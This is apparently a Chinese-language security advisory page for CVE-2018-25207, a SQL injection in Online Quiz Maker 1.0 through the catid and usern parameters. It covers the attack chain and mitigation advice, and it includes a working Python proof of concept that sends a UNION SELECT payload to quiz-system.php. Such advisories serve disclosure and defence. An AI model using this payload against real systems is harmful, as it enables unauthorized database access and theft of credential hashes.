IPBUF安全漏洞报告
English
CVE-2018-25207 CVSS 7.1 高危

CVE-2018-25207 Online Quiz Maker SQL注入漏洞

披露日期: 2026-03-26

漏洞信息

漏洞编号
CVE-2018-25207
漏洞类型
SQL注入
CVSS评分
7.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Online Quiz Maker

相关标签

SQL注入Online Quiz MakerWeb安全CVE-2018-25207

漏洞概述

Online Quiz Maker 1.0版本存在严重的SQL注入安全漏洞。由于未对catid和usern参数进行有效过滤,经过认证的攻击者可向quiz-system.php或add-category.php发送恶意POST请求,执行任意SQL命令。此漏洞可导致敏感数据库信息泄露或身份验证被绕过。

技术细节

该漏洞的核心在于应用程序未能对用户输入进行严格的类型检查和转义,导致存在SQL注入风险。攻击者首先需要获取低权限用户身份,随后构造特定的HTTP POST请求发送至quiz-system.php或add-category.php。在请求中,攻击者将包含恶意的SQL代码嵌入catid或usern参数。由于后端代码直接拼接参数生成SQL查询语句,未使用预编译机制,攻击者可以利用UNION SELECT等SQL语法获取数据库表结构、管理员密码哈希等敏感数据,进而完全控制应用系统,造成严重的数据泄露。

攻击链分析

STEP 1
步骤1:侦察与访问
攻击者识别目标运行Online Quiz Maker 1.0,并获取至少一个低权限用户账户的凭证。
STEP 2
步骤2:漏洞利用
攻击者登录系统后,向quiz-system.php或add-category.php发送POST请求,在catid或usern参数中注入恶意SQL语句(如UNION SELECT)。
STEP 3
步骤3:数据窃取
应用程序后端执行恶意SQL查询,将数据库敏感信息(如版本、用户表、密码哈希)返回给攻击者。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def exploit_sql_injection(target_url, session_cookie): """ PoC for CVE-2018-25207 SQL Injection in Online Quiz Maker Vulnerable parameters: catid, usern """ headers = { "Cookie": f"PHPSESSID={session_cookie}", "Content-Type": "application/x-www-form-urlencoded" } # Payload to extract database version using UNION based SQL injection # Assuming the query has 3 columns based on common structures in such apps payload = "1' UNION SELECT 1, version(), 3-- -" data = { "catid": payload, "submit": "submit" } try: # Targeting the vulnerable endpoint mentioned in description response = requests.post(f"{target_url}/quiz-system.php", data=data, headers=headers) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Check response for database version output.") print(response.text[:200]) # Print snippet of response else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Example usage target = "http://example.com" # Requires a valid authenticated session (Low Privilege) sid = "valid_session_id_here" exploit_sql_injection(target, sid)

影响范围

Online Quiz Maker 1.0

防御指南

临时缓解措施
建议立即在Web应用防火墙(WAF)中部署规则,拦截针对catid和usern参数的常见SQL注入特征。如果无法立即升级,应在代码中对这两个参数实施强制整数转换或严格的白名单过滤机制,并在非必要时暂时禁用相关功能模块。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表